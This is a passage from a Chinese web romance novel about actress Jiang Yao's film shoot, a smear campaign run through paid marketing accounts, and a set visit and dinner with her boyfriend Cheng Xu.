她微蹙着眉心，贴紧身子，紧紧追逐着他共舞。浑身血液往一处集中，程绪手下力道一重，她随之闷哼出声。猫儿似的嗓音，唤得人意识稍稍回笼，他又微微放松双手，生怕一不小心，摧折了这细瘦的小家伙。
暧昧的气息从唇齿间溢出，空气烫得人全身发疼，程绪不耐地将手下的衣服往上推了推，碰到阻隔，又如火烫一般，飞快地收回了手。
江遥心内轻笑，这个胆小鬼。
70. 借位
第二天早上，还是何为来接。某个想当司机的人，又一次被拒绝。
当江遥再次和Matteo坐在一起吃晚餐的时候，她还没倒过时差，听对面的男人语气激动，叽里咕噜说着一长串的话，只附和着点头笑。
“别吓到她。”Freya适时阻止老友滔滔不绝的赞扬，“我给你争取到了五天时间，好好把握吧。”
与其说Matteo是一个天才摄影师，倒不如说是一个疯狂的艺术家。
粗犷的面容下，藏着细腻的巧思，当你习惯他的柔和，他又会突然蹦出一个大胆的设想，告诉你他还是他。前一秒还在吹嘘着不靠谱的话，下一刻，那没几句正经话的嘴里，又会提出惊奇的想法。
他的头脑里，仿佛时时有灵感爆发。Freya却说，只有遇到中意的模特，他才会这样。
说这话时，几人正坐在遮阳伞下喝饮料，Matteo突然神秘兮兮地凑过来，缠着江遥打赌，对面桌上的姑娘，看的是她还是他。
为了哄他干活，Freya尽职尽责地兼着翻译的活。短短几天下来，小鱼已经被折腾得忘了之前对他的膜拜，仗着人家听不懂中文，小声吐槽，“还会有他拍不到的人吗？”
Freya笑笑，点到即止，“倒也不多。”
她并没有多说，小鱼却猛地想起，当初看过的那则小道消息，试探着问道，“国内是不是有一个？”
Freya瞥了眼兴奋得胡子直抖的人，又恍惚想起他当初的一脸菜色，憋不住笑说：“原来大家都知道了。”
江遥脸上挂着恰到好处的笑，心思却已经跟着他们的讨论飘远了。
原定五天的拍摄计划，因Matteo时不时冒出的新点子，不得不往后延了几天。
江遥通话时说起，程绪默了默，“他果然和我有仇。”
拍摄结束后，Matteo邀请她去参观自己的酒庄，在醉意醺然的时刻，大着舌头，拉着她反复念叨着一句话。
江遥求助地看向Freya，Freya一言难尽，掰开他的手，“他说，你比程绪那小子可爱多了。”
陌生的国度，他同样在旁人的嘴里存在着。江遥忽而笑开，Freya不得不赞同老友的评论，确实可爱。
同一个月里第二次看到程绪，餐厅经理眼睛都差点瞪直了。如果他没记错，昨天那位少爷还在吐槽自家哥难约来着。冷宫的妃子，可能差不多也就这样了。他心内哀叹一声，瞧瞧人家这亲密的。
江遥朝他笑笑，悄悄攥了攥挽着的手，小声开口，“说了让你挑个自己喜欢的。”
程绪拉开椅子，还是那句，“你喜欢就好，我都可以。”
这个六月，谈起娱乐圈的话题，一定绕不开江遥。
六月初，她主演的古装剧正式在视频网站上线，看过的观众，纷纷摇头，“可惜了。”
因为男主陷入舆论风波，说起这部戏，就有路人的唾沫星子紧跟着。在宣发全无的情况下，各项数据都极为亮眼。
看得人酸不溜秋，「钱花了不少吧。」
也有人留言宽慰江遥，「你走过的每一步都算数。」
乘着这股势头，此前签定的代言和拍好的物料接二连三官宣，江遥一月新增三个大牌代言。
有人不解，「这个服装品牌不会和H&F撞吗，难道是……？」
粉丝表示，不好意思，前阵子刚参与了H&F新一季广告大片拍摄呢。
覆在江遥身上的阴影，随着一个个好消息的到来，消散于无形。
“对，不用管那么多，先把话术准备着。”钟慧握着手机，冷冷开口，“怎么写不用我教你吧？”
“OK，咱们老客户了，你还信不过我。”
六月十八日上午，江遥新电影开机。照片还没出来，网上就有了小规模讨论。小鱼翻了翻，不外乎是资源降级、三无班底那老一套的话说来说去。
中午十二点，官博首发演员阵容，粉丝看到的时候，瞬间瞳孔地震，「什么？我没有看错吧？」
随后，江遥转发了官博内容。粉丝拍拍胸脯，把心揣回了肚子里，摩拳擦掌蹲在屏幕前的营销号却彻底傻眼了。不是，怎么跟说好的消息不一样啊？
“撤回，快撤回。”钟慧疾言厉色。
营销号看着刚发出去的“华丽转身归来仍是三无班底，炒作女王何去何从”、“江遥何时能凭演技翻身？”、“剧组夫妻大盘点，她凭啥俘获一众少男心？”的帖子，欲哭无泪，“这也撤不回啊。”
钟慧一口牙差点咬碎，“赶紧联系删帖！”
吃瓜乐子人已经第一时间截屏，「好家伙，陈清让的戏也有人看不上了吗？」
「这明显是黑营销翻车了吧哈哈哈嗝～」
「快告诉我你是在玩抽象。」
「江遥可真能忍啊，要是我进了陈导的组，方圆十里但凡有人不知道都是我的错。」
营销号看了看卡里已经到账的报酬，继续操起键盘忙活。
「就凭江遥这衰运，我赌一百块钱，这个组迟早爆雷。」
「陈导挺住。」
「陈清让我看也就一般般吧，到底是谁在神化他？」
「女主江遥，啧啧，陈导也是时候走下神坛了。」
网上风向如何，江遥全当乐子一笑而过。现在摆在她面前的问题是，她被一场吻戏难住了。
陈清让不愧履历光鲜，在调教演员上很有自己的一套心得，男主罗非凡没有表演经验，但好在领悟能力不错。在这个组里，不管你是老演员还是新人，陈导脾气一上来，完全不会顾谁的面子，江遥当自己一切从零开始。
从不停NG到顺畅拍完一场戏，他们花了几天时间来磨合。但现在，一切似乎又回到了最初。一场蜻蜓点水的吻戏，卡了三条都没有过。
两人身体一挨近，罗非凡身体就开始僵硬，一次、两次，江遥好不容易做好的心理建设在一声声“咔”声里不断瓦解，拍到最后，只会干瞪着眼睛，猜测着陈清让什么时候喊停。
一开始，陈清让还好声好气地跟他们分析人物的心理和感情变化，留足时间让他们找感觉，拍到第五条的时候，男主还是呆若木鸡，女主眼见着也开始魂不守舍，他终于彻底绷不住了。
“咔！春花嘴上是下了毒吗，用得着你在这退避三舍。演员演员，没点信念感怎么当演员，我不如直接上大街上拉个人来演。”
陈清让对着罗非凡就是一通输出，罗非凡通红着脸，偷瞄了江遥一眼，弱弱解释说：“导演不好意思，是我经
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验不足。”
陈清让正在气头上，“没有经验要我教你吗？你是第一天知道自己没经验？拿到剧本多久了，晚上扎个人偶现学也该学会了。”
江遥“扑哧”一声，没控制住笑出声，陈清让的眼睛跟着就瞪来了，“还有你，刚才有这灵动的小表情我至于这么费劲？瞪着那死鱼一样的眼睛给谁看呢？没说你还乐上了。”
江遥缩了缩脖子，默默苟着，就陈导这状态，估计连路过的狗都要被踢一脚。
拍摄继续。
半个小时后，陈清让彻底放弃。整个片子中的唯一一场吻戏，最终做了借位处理。
下午的进度明显提了起来，收工也就比原定时间晚了半小时，江遥和罗非凡长舒一口气，互相鞠躬道着辛苦了。陈清让冷笑一声，眼不见为净。一场吻戏，不知道怎么就被这两人弄成上刀山下火海的架势了。好在，本身也就那么一点而过。不然，他也很难说服自己退一步。
晚上程绪问起今天的拍摄进度，江遥故意拿出这个话头来说。
“别提了，拍了大半天吻戏。”
电话那边静了一瞬，程绪反应淡淡，“哦。”
就这样？江遥不死心，又开始故意挑衅，“怎么，你很有经验？”
程绪按灭阳台的灯，在沙发上拣了个位置坐下，毛绒绒的抱枕，是她喜欢的。
他想起来，就在这个沙发上，不久前，她还央着他对过这场戏。
【二人气息交融，孙楷克制地，在春花唇上落下一吻，抬起的眼里，满是情愫。】
整个剧里，是有这么一场一触即离的吻戏。他自问，给不出这样的情绪反馈，这也是他推掉这个本子的原因之一。如果陈清让知道这个因素的存在，一定拍着大腿呼喊“我可以改的！”，瞧瞧，最后也还是借位拍成的。
江遥还在那头哼哼唧唧地抱怨，“让你陪我对戏你还不愿意，今天又被导演骂了。”那个仇，她可还记着呢。
他揉揉眉头，不知道怎么跟她解释，当春花换成江遥，想做到克制，又谈何容易。
“我也没有经验。”他说，声音听起来像是叹息。
在官方的报道里，程绪从来没有拍过吻戏，他的作品，连感情戏都少有。但幕后的事儿谁说得清呢，有的是拍出来效果不好，导演没有采用，有的是本来拍了，最后又被剪掉。
她声音轻轻，“真的？”
“嗯。”
“那你会不会不喜欢我拍感情戏啊。”江遥刚刚开心不过几秒，又开始想到新的问题。
“不会。”他答得很快。
“真的？”
这次他停了停，“你喜欢就好。”
不管是吃的食物，还是拍的戏份，他都是说，“你喜欢就好”。那他呢，喜欢的又是什么？她没有再问。
时间不知不觉又来到了十点半，被他压着调好的生物钟，碰到大夜戏，又得重归日夜颠倒的作息。但只要收工早，江遥还是习惯了到点就上床。
挂掉电话前，她打了个哈欠，告诉他明天又是一天的戏，“拍到最后还是借位，感觉陈导快要气疯了，明天我一定好好表现。”
程绪笑笑，也伸手拧灭床头的开关。
“加油，晚安。”
“嗯，晚安。”
71. 易主
程绪到家的时候，开门的是新来的佣人，呆呆地望了他好一会儿，才将眼前的这张脸，和主人嘴里那个“不孝子”联系到一起，赶忙鞠躬问一声“少爷好”，接过他手中的东西。
被许婉清勒令在家休养的程元峰闻声瞥过来一眼，手中报纸一展，冷哼道，“你还知道回来？”
中气十足，面色红润，不见丝毫病容。
程绪不知道他又生的哪门子气，平静开口：“听说您身体不适。”
程元峰突然放下报纸，大吼一声，“等你回来，我半只脚都进了棺材！”
站在一旁的佣人瑟缩地埋下脑袋，许婉清从房间里奔出来，抚着他的胸口，“唉哟，这又是怎么了。”
看到程绪，又歉意地跟他说：“阿绪回来了，别跟你爸一般见识，他就是这个死样子。”
程绪面色平静，看着手下忙碌的许婉清，多么其乐融融的场景，只有他，像是一个不请自来的入侵者，轻易打破家中的平静。
“您没事就好，我下次再来看您。”说着，径直往门口走去。
“你给我站住！”程元峰在身后怒吼。
程绪脚步不停。
他抄起桌上的杯子掷了出去，“咚”地一声闷响，杯子在地毯上滴溜溜滚了两圈，停下了。一击不中，程元峰胸口起伏，撑着身子，“让你不要进娱乐圈偏要进，现在还学别人搞起了什么艺人经纪，玩起了小……”
程绪停住脚步，脸色已经冷了下来，许婉清迷茫地抬起眼睛，不知道他们怎么一会儿的功夫，就吵得如此不可开交，程元峰拍了拍她的手背，让她不要担心。迎着程绪的眼睛，警告道：“别以为我不知道你在玩什么。”
程氏集团的掌权人，自然有知道这点事的自由。程绪倒也没多少意外的表情，冷冷出声，“您自重。”
另一边，孟棠正想出声反驳，就感觉到自己的手被握住了。
她挣了挣，没有挣脱，眉头一蹙，还没来得及开口，手中的电话已经易了主。听筒里仍在口不择言地叫喊着，男人丝毫不在乎对面的人是何身份，只告诉他事实，“我的未婚妻，不是让您这么骂的。”
“你……”孟岩到嘴的话又紧急吞了回去，顿了顿，试探着开口：“青卓？”
耳边瞬间清净，宋青卓懒懒应一声：“伯父，是我。改天我和棠棠上门拜访。”
不等对面反应，直接挂断。
孟棠推开身上的男人，起身拾起地上的衣服。
“你什么时候愿意给我个名分。”男人声音温柔，像是他们初相识的时候，语气里带着一丝小心翼翼的询问。
孟棠回头，看了眼趴在床边可怜兮兮望着她的男人，自嘲似的勾了勾唇角，“我的名分不一直都是靠你给么。”
宋青卓烦躁地揉了一把头发，卸下了那副温柔无害的神情，“谁又在跟你乱嚼舌根。”
看，这才是他么。孟棠毫不犹豫地拉开了门。
轻音娱乐，刘灵泠听着经纪人的耳提面命，懵懵点头。
再平常不过的一天，她被公司打包丢给了新主顾。经纪人告诉她，不愿意留下的，也可以选择另谋出路。
像方琦等公司头部艺人，估计是早早听到了风声，连下家都已经找好了。作为方琦姐妹团核心成员的李茜，也跟着她跳进了更大的平台。
这几天，只要有网络的地方，都能看到方琦签约寰宇的新闻。加上一部正在拍摄的大剧傍身，方琦风头正劲。
刘灵泠扫了两眼就关掉了手机，现在让她头疼的是，自己接下来该何去何从。
都说新官上任三把火，但是这个新东家，却完全让人瞧不出来路。现在公司里，除了像她这样新签进来没有更好出路的艺人，就只剩下了些志气不大埋头苦干的老员工。但凡有点门路的，都早早跳出了火坑。
说火坑可能还不是很准确，更精确来说，或许应该叫冷宫。随着头部艺人的离开，许多成熟的团队人员跟着出走，现在的轻音娱乐，只剩下一个挂着它名字的外壳。艺人如何安排，剩余的工作人员怎样分配，都没有进一步的计划出来。大家只能安静地，继续着手头的工作，装作一切并没有改变过。
听经纪人说，幕后老板并没有正式露面，隐隐有小道消息说，在轻音娱乐半死不活的时候，是B市的资金注入，帮助它从危机中渡过。
桌案上堆满汇报上来的资料，杨越往椅背上一靠，觉得或许应该找个机会跟老板提一下，自己今年的年终奖，是不是还能再往上涨一涨。
程绪推门出来，就看到自己的金牌助理，毫无形象地瘫在椅背上，“怎么？”
偷偷摸个鱼也能被老板逮个正着，他能怎么说，说您这么大费周章可把我折腾得不轻吗。杨越赶紧端正坐姿，搜肠刮肚，终于想起一个事儿：“之前的黑水军源头查到了，方琦的经纪人钟慧和MCN机构频繁联络，近期的几个动作，寰宇那边也有参与。”作为圈内的老牌经纪公司，在这方面，寰宇已经有了一条成熟的产业链，并不是那么好下手。
程绪“嗯”一声表示知道了，“有需要跟秦时那边说。”
好家伙。杨越暗叹一声，应澄的公关和律师团队，业界多少人羡慕。
《春声》拍摄到第二个月，剧组的进度终于慢了下来。大家像是久旱的禾苗，终于等来了盼望已久的甘露。然而，在这个交通不便的地方，休息的时间里，也只能跟着村民一起唠嗑。
江遥已经跟这里的何奶奶混得很熟。何奶奶的儿子和媳妇在县城工作，几个女儿都已经出嫁，她一个人带着孙子在家里念书，偶尔做点手艺活，托人带去县城赚点花销。剧组租了她的两间院落，矮矮的两间土房，推门的时候，门扇会嘎吱嘎吱地发出声响，这也是春花在这里的家。
几股丝线在苍老的手上穿梭，不到半天的功夫，就编出了一只活灵活现的小狗。戏里的春花，在这个穷苦的乡村生活了许久，偶尔也会做点针线活补贴家用，但她只需要做出大致的动作，后面的自然有道具组来准备着，和何奶奶这从无到有的，完全是两种概念。江遥搬着小板凳坐在一旁，越看越底气不足。
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日历已经快翻过七月，江遥翘着脚趴在床上，翻看着明天要拍的几幕戏，跟对面的人苦兮兮抱怨：“哪有假放啊，陈导你还不知道，不被骂就阿弥陀佛了，谁敢去问他什么时候放假。”
程绪放下水壶，想了想陈清让横眉怒视的模样，笑笑，“我帮你问？”
好了，知道你们感情好了。江遥撇撇嘴，将剧本丢开，举着手机，就这么静静看着他。
水声哗啦啦响着，手机被放在了一旁，屏幕里，只能看到他的下巴颏儿。浇完花，他习惯先去洗手，然后，要不在客厅，要不在书房，陪她随便说点什么。
她在脑中模拟着他的行动路线。
水声消失，一双骨节分明的手伸了过来。下一秒，手机转了个位置，他的脸，充满了整个屏幕。
有水珠俏皮地攀上他的额角，晃悠悠地，将落未落。
江遥头往后仰了仰。
他伸手抹掉坠落的水珠，疑惑，“怎么？”
江遥咳了咳，“没什么。”
他将手机拿远了点，莫名其妙看了她一眼。
整个身形都被括入她的眼眸，她凑近屏幕，抹了抹他微蹙的眉头，“等我回来。”
江遥在片场看到程绪，是在七月底的时候。
她第一反应是，他怎么会在这里，第二反应就是，那天他是不是没有应她来着。
这天她早早来到片场，罗非凡已经在一旁候着，两人简单打了个招呼，而后背对着身子没有再交流。
剧里两人已经走到陌路，私下里，罗非凡也开始远远避着她，只要江遥一接近，他收拾东西就跑，看得小鱼瞪大眼睛，直呼“太敢了”，不愧是整治职场的新人，看人不爽就直接连好脸都不带给的。吓得罗非凡连连摆手，跑回来磕磕绊绊解释，“不是江老师……您千万别误会，我不是对您有意见。”
江遥冷着脸不说话时，还真有点唬人的意思，见对面进退两难的罗非凡，小鱼颇有点感同身受，要知道，当初她被派给江遥时，对着这不落世俗又惜字如金的冷面美人，也是觉得颇有点棘手的，生怕一个动作不好，就得被挑错。
罗非凡哭丧着脸跟江遥打商量，“咱杀青后再说成么？不然我明天又得挨训了。”
江遥点点头，懂了。罗非凡作为新人，明显还没找到现实和虚拟之间的平衡。
有人因戏生情，也有观众因某个角色对演员带上或正向或负向的滤镜，他沉浸在戏里，只有戏外和江遥保持距离，才能在剧中让孙楷无视春花悲剧的命运。
一向来得比演员还早的陈清让，这次竟然是踩着点到的，到场直接扔下一枚重磅炸弹，“今天下午放假。”
“啊……”蔫不拉几的场子突然热闹起来，大家第一反应就是尖叫。
工作人员纷纷跟着起哄，“陈导这是碰上什么喜事了？”
“陈导万岁，我能不能申请多休一天。”
陈清让也没理他们的插科打诨，和颜悦色得仿佛被人换了个芯儿，“行，明天下午准时开工。”
72. 沾光
今天上午拍的主要还是江遥和罗非凡的对手戏。两人已经许久没说过话，春花母亲这些天病得下不了床，她思索良久，还是决定先跟学校告几天假。
刚进门的孙楷话只听得一句“我会找人替上”，只当她为故意避开他，连学生也不管了，他怒气冲冲地走上前，拽着春花就走。
罗非凡完全沉浸在情绪里，手下力道一时没收住，江遥眉头微微一皱，只感觉到箍着他的双手跟铁钳似的，该说的台词也慢了半拍才出口。罗非凡意识到不对，接下来的戏也就此卡了壳。
他们绷紧神经，等着天降雷霆，一般来说，早上刚开工的时候，陈清让脾气尤其臭，大家私下偷偷吐槽，说不定是起床气还没消。
事实却告诉他们这次白担心了，陈清让维持着从露面开始的好心情，只让他们各自调整了下情绪就继续拍摄。还好接下来两人也没再出错，中午甚至提前收工。
难得放假一天，大家匆匆忙忙收拾整理往外奔，有相熟的演员打算出村改善伙食，问江遥要不要一起走。
从这里开车到县城就得好几个小时，吃完想再逛逛就只能在外边住了，明天清早又得往片场赶，一天假期大概率只能在忙忙碌碌中度过。
江遥摇头，懒得奔波。
年轻那会儿精力好，晚上收工跑出去，第二天再匆匆忙忙跑回来上工的事儿也不是没做过，现在到底不比以前，也不知道什么时候就开始没有了这劲头。
“去吧去吧，我看粉丝推荐说城里有家本地菜很不错，人多点才能吃得开。”
江遥笑，想起来刚刚进组，高靖媛就发了条微博，在线征集当地美景美食，粉丝知道她要来，纷纷献计献策，结果来了个把月，他们还在村里蹲着。
两人还没磨出个结果，片场外吵吵嚷嚷地闹开了。
“哇，这是有人请客吗？”
“今天这吹的是什么风？我都有点不适应。”
剧组平平无奇的盒饭直接换成了色香味俱全的酒店外送，包装精美的甜品一摞摞从冷链车里往外运，在桌上高高垒起造型。
在这偏远的山旮旯，竟然还能收到来自外界的慰问，刚刚跑得比兔子还快的大家伙又一窝蜂跑了回来，争抢着领取便当和甜品。
“这个我在网上刷到过。”
“你们快尝尝，味道真的很不错。”
“到底谁请的啊？怎么都没看到人。”
出去拿盒饭的助理蹭到高靖媛身边，“姐，要不咱改天再去呗，今天组里伙食也挺好的。”
高靖媛看着助理搬回来的东西，越看越觉得眼熟，翻出微博对比一看，果然，几个高赞评论都提到过。她拆开包装，递过一份给江遥。
助理捂着嘴小小声询问：“姐，你说这不会是你哪个爱慕者送的吧？”
高靖媛头上满是黑线：“你说的该不会是那个满嘴跑火车脸上粉都能刮下两斤的小白脸吧？信他的话不如信我明天能拿奥斯卡，饼越画越大真不怕把自己舌头闪了。”
空间本就不大，江遥坐在一旁，不用留神听，另一侧的声音就不自觉往耳里飘。依高靖媛的性子，在山里关了这么久，也真是怪难为她。
她挖了一勺蛋糕上的奶油，计划着吃完下午先回去睡一觉。小鱼从清早就没见了人，得告诉她回来直接去酒店就行。大家一致推荐的甜品，味道确实还行。
她任大脑放空，听得一旁助理的声音还在继续响：“当然不是啦，那位哥谁看得上啊。”
高靖媛小脸一垮，声音里满是不可置信：“难不成你是说那个年纪大得能当我爹的秃顶油腻男？不要啊，长这么大我都没见过脸皮这么厚的人，恕我消受无能。”
助理估计也是被她的联想能力吓到，头摇得跟拨浪鼓似的。高婧媛明显对这位二号嘉宾印象深刻，边吃着东西，边贴心建议：“照我说他那脸皮就该往头皮上长长，说不定能给头发多供点营养。”
江遥也是不懂他们的话题怎么能从甜品跑到头皮，助理声音却又开始紧张起来了：“头发和头皮厚度有什么必然的联系吗？我最近好像也开始脱发了。”
高婧媛顿了顿，“额，我也不知道。别急，我帮你查查。”
也不知道这两人是心大，还是心大……趁他们低头搜索的功夫，江遥收拾好垃圾，赶紧快走两步，消灭自己的在场证据。
这一动，倒把高靖媛的注意力吸引过来了。见江遥三两步就跑了很远，她也顾不得什么头皮了，扯着嗓子问她：“遥遥～～～要不要去嘛！”
一个名字被她喊出了九曲回肠的效果，把江遥听得原地一哆嗦。但她是真跑不动了，只好摇摇头，爱莫能助：“不了，你去吧。”
“好吧。”高靖媛可怜兮兮地垂下头，一脸颇受打击的样儿，低垂着眼用余光偷偷瞥了瞥江遥，平常看着很好说话的人，一脸不为所动。哼，这个冷漠的女人！
既然彻底没戏她也懒得装了，抬起头冲江遥招呼，“那我回头给你带吃的！”
江遥笑着说好，高靖媛回头朝助理耸耸肩，“那就只剩咱俩了。”
结果助理头摇得更夸张。
她扬眉：“怎么，你也不想去？”
助理悄悄用手杵了下她的手肘，嘴巴不动，却有声音发出，“看前面。”
前面怎么了？高靖媛回头望去。
不远处，有人正往这边走，或许更准确来说，是一个包围圈，在向这边移动着。刚刚消失不见的同事们，魔法般的，又出现了，在圈子外围探头探脑，看起来异常兴奋。
胆子大的人，已经悄悄挤到前排，打开了摄像头，还没来得及按下快门，就悻悻收回了手。
“我的组里只需要安分的人。”在开机前，就有人将陈导的态度向所有台前幕后的工作人员反复重申。
陈清让收回视线，若无其事和身边的人继续攀谈着。众人默默退开距离，只不远不近地坠在两人附近。
高靖媛一个跨步就迈出了门，被助理一把拖住了手，“姐，你干什么去？”
高
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靖媛一脸理所当然，“打个招呼啊。”
平常想攀交情还逮不到人，光明正大的机会摆在面前，自然要先混个脸熟。
她拉上呆站在一旁的江遥，“走，一起去。”
江遥怔怔地跟上她的步伐，距离越来越近，月余没见的人，还是那副冷峻的模样，鹤立鸡群般，被众人围在中央。夏日的温度，似乎独独跳过了他，任由他被寒意浸满。侧头跟陈清让说话的时候，又带着丝莫名的乖巧。
与他相反，平常不苟言笑的陈清让脸上却是笑意不落，看得众人目瞪口呆，原来，不是所有演员，都需要接受陈导的抗摔打教育的。
见江遥和高婧媛携手走过来，众人自觉让开一条路。圈子里的两人察觉到动静，也跟着望来一眼。
高婧媛挽着江遥大方走上前，跟陈清让抱怨，“导演，您这可就跟我们见外了啊，程老师要来探班，怎么还瞒着大家呢。”
这话陈清让也没法接，实际上，他也就比大家提早几小时知道罢了。程绪到了这边才联系他，不知道的还以为是搞什么突击检查，不过这人性子一向是这样，他也懒得说了。
高靖媛也不是真要等他回答，扭过脸又笑呵呵地向程绪问好：“谢谢程老师请客，不远千里来探我们的班，说起来我们还是沾了陈导的光。”
众人纷纷跟着附和，“谢谢程老师。”
“是啊，都是沾了陈导的光。”
“我也是出息了，竟然吃上了程老师请的东西。”
身旁的人一声不吭，高靖媛悄悄拽了拽她，江遥跟着矜持地点头问好，“谢谢程老师。”声音低柔，言语恭敬，好似身前站着的，只是某个圈内不太相熟的前辈，打过招呼后，再无别情可叙。
听得高靖媛忍不住心内一跳，这种场合，人都站到程绪身边了，多说两句话的功夫，不就是很好的两人相熟的证据？而且如果她没记错，这两人不是还有过合作？
大家的目光都落在他身上，热热闹闹地，翻来覆去说着感谢的话。程绪客气地点头算作回应，一个字都没舍得多吐。高靖媛丝毫不以为忤，又开心地跟他表达了自己对他的仰慕。
这样的夸赞，他想必已经听过太多，江遥低着头，能嗅到空气中萦绕着的熟悉气息，淡淡的，像他现在的脸色，仿佛随时能抽身就走，也许是顾及陈清让的面子，又逼着自己在那站立着。
原本已经放假的大家，这会儿压根已经忘了假期为何物，徘徊着不愿意离去，陈清让看了会儿热闹，受不了地挥挥手，“别都围在这里，该干嘛干嘛去。”
两人并肩走远，众人互相对视一眼，四散离开。片场中，又恢复了寂静。
助理悄悄蹭过来，“姐，你什么时候又迷上程老师了？”
高靖媛敲了敲她的脑袋，“刚刚。”
“哦，懂了。”助理小声应着，跟上她的脚步往外走。
江遥笑笑，还是按照原计划回房睡觉。看陈清让对他着紧的样子，这一时半会儿估计是不会放人了。
73. 留宿
陈清让的项目，自然不缺投资，但小地方条件有限，就连镇上的酒店也很紧缺，江遥和小鱼住在一个房间。
回到房里，小鱼果然还没回。盛夏的阳光已经非常刺眼，江遥拉上窗帘，密密麻麻的光透过单薄的布料，大剌剌地洒在地板上。她将手机调成震动，闭上眼睛。
楼下不知发生了什么，闹哄哄的人声，说着方言，她一句也听不懂。江遥翻了个身，换成侧躺的姿势。有车子经过，应该是卖东西的小贩，车上的喇叭正在卖力地吆喝。
灼热的日头悄悄移到床上，空调的声音呼啦啦地响，江遥认命地睁开眼睛，拿起床头的手机看了眼时间，才过去十五分钟。
他来干什么呢？不是说了等她回去吗？
人家想来探老师的班，自己好像也没什么立场阻止吧。
江遥在床头靠了会儿，很快将自己说服，起身拉开窗帘，给自己找点事儿消磨时间。
床头柜上的手机“嗡”地一声响，滑开，信息列表里躺着一条取件通知，在她原来的住址。
难道是买东西的时候填错地址了？晚点问问物业看看吧。她将手机丢到一旁，继续从何奶奶那学来的活。
手上翻飞的毛线，是她这阵子的新消遣。时间花费下去，也很容易见到效果，陈清让在拍摄时还特意提起过，春花的手上功夫愈见娴熟。
但今天下午，明显不是做手工活的好时候。几个小时过去，进度约等于无。她再一次拆开编好的线团，乱糟糟的线头缠在一起，不知道从哪儿开始理。江遥微微叹出一口气，放下手头的东西起身。
手机上，有条半小时前的消息。那个被陈导拐走的人在问她的行踪。
江遥回复：「在酒店。你忙完了？」
自己自投罗网，陈清让哪那么容易放他走，程绪低头按着手机，「没，还要一会儿。」
司机开到指定位置，车门拉开，闪身进来个连头发丝都没露的女人，肥大的防晒外套下，是白得晃人的胳膊。
酒店空调制冷效果一般般，江遥穿着一身清凉的吊带裙，接到他电话急急忙忙踩着拖鞋就出了门，连包都没来得及拎。
镇上到底目标太小，况且今天放假，说不定走出门就能碰到两个熟人。江遥看着外面有别于村中的风景，今天到底是逃不过和县城的缘分。
说是县城，其实这里商业化气息不浓，街道两旁，零星地开着几个饭馆。
道路尽头的那家店应该有了不少年头，门口挂着块木质招牌，招牌上的油漆四处剥落。柜台旁，一个老婆婆一手撑着下巴打着盹儿，另一手的扇子还在不断摇着。店里没见其他顾客，江遥拉着程绪往里走。窝在门口打盹的猫儿先醒，见有人进来，发出“喵”地一声长叫。
老婆婆从梦境中回神，带着二人找了个位置坐下。桌子不高，椅子是那种有着靠背的小板凳，程绪坐下去，只能躬着腰，束手束脚的样子，看起来颇为好笑。江遥抽了张纸巾在桌上擦了擦，正打算翻过菜单点菜，老婆婆已经端着食物走了过来。
食物的浓香直往鼻孔里钻，一个小孩端着一壶酒走在后面，操着不太标准的音调，告诉他们，店里只有这一样招牌菜，酒是外婆亲手酿的，送给大家尝尝鲜。
酒壶上贴着纸条，上面歪歪扭扭地写着的“青梅”，估计是出自那小孩的手笔。
小孩不见了身影，老婆婆又坐回了柜台边。程绪被封印在小板凳上，像是个发育过快的小孩。江遥接过他的碗筷，低垂着眉眼，仔细烫过一遍，又放回他面前。
随便选的店，口味却大大超出预期。排骨香浓可口，梅子酒甘洌清甜，江遥光着胳膊，吃得额头冒出细细密密的汗。角落里那把老旧的电风扇，一转就咯咯响，吹出的风还没发出的声响大。
那个豆丁一样的小孩不知道从哪里又冒了出来，举着把大蒲扇递到面前。程绪伸手接过，做起了替她掌扇的活儿。
结账的时候，江遥非要尽“地主之谊”，程绪也乐得遂她意。一顿饭的功夫，老婆婆已经做了香甜的一梦，比着手势告诉她价格。
江遥微微一愣，怀疑自己是不是听错，程绪勾唇笑笑，指着柜台前贴着的纸条示意她看。
江遥勾着嘴角出门，夏天的风也是热辣的，吹到身上，还带着丝烫人的余温，程绪的手掌却很凉，像是温润的玉石，带走她身上的燥热。
傍晚时分，街道上已经没有多少人的踪影，两人牵着手漫无目的地在街边走。
绕过几条主街，江遥拉着他找了张石凳坐下。这里的天空洁净纯澈，拍夜戏的晚上，能看到天幕上垂挂的星星，忽闪忽闪，像是细碎的星河在空中舞动。
她将头靠在程绪的肩上，指着远处的星空，跟他细细说着在这里的见闻。
比如，楼下那个卖西瓜的小贩，再比如，酒店墙根处，那攀缘的藤蔓。有的她在电话中讲过，也有的没有。在这浩大的天地间，在这狭窄的石凳上，两人互相依偎着，她抑制不住地，想跟他倾吐。
连风也柔和下来，夹着清凉的慰藉，缓缓拂过他们的发梢、衣摆。有夏虫在枝头鸣叫，为这盛夏的夜晚尽情高歌。
口袋里的手机突然响了起来，打破这夜幕下的低语，闪动的屏幕上，是消失了大半天的小鱼。
“姐，你怎么还没回？”空荡荡的房间里，原本早该收工的人不见踪影。
“我出门了，你到家了？”
小鱼“嗯”了声，确认着：“那你今天还回吗？”
江遥抬头望了眼身边的人，他疑惑地看来，目带询问。江遥手下一抖，电话被直接按掉。她点开微信，给小鱼发信息，「晚点跟你说。」
听着听筒里的忙音，小鱼脑子怔了怔。总觉得有什么事情要被她搞砸了。
“你助理回来了？”程绪主动问起。
本来最初她还以为这两人合伙有什么阴谋，不然怎么他一来小鱼就消失了，结果他一脸无辜的样儿，表示自己是直接来的剧组。现在小鱼也回酒店了，而且丝毫不知道程绪来过，看来确实是自己想多。
江遥点头。
程绪抬腕看了眼时间，“我送你回去。”说着站起身，朝她伸出手。
难得出来透透气，江遥赖在凳子上完全不想动，街边的小店有的已经开始打烊，程
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绪迟疑了下，提醒她：“再不走回去会很晚。”
江遥无视他的警告，靠着椅背的身子一动不动，一副无所谓的模样：“那就不回了。”
话落，两人俱是一怔。知了还在不知疲倦地唱着歌，他们相对沉默。
程绪漆黑的眼睛看向她，江遥挺了挺身子，眼神却不住往上飘。他弯下腰，无奈似的半抱着她的肩，哄她起身：“走吧。”
江遥哼唧着，双上绕上他的脖颈，眨巴着大眼睛望着他，“不走了，好不好？”
程绪脸上看不出赞同与否，在他的注视下，江遥渐渐头皮发紧，但一句话已经出口，再往回收也不是她的风格。短短几秒，她脸上的表情一换再换，最后强撑着镇定，拧着眉不满地问：“怎么，你不欢迎？”
他的声音还是一如既往听不出多少温度，“怎么会。”
江遥点点头，主动牵起他的手，“那行，走了。”
车子直接开到程绪下榻的酒店，两人并肩坐在后排，程绪捏着她的手指，侧着脸看向窗外，面容被口罩挡住，看不出情绪。江遥脑子里走马灯似的，好像想了许多，又似乎什么都还没来得及理清楚。
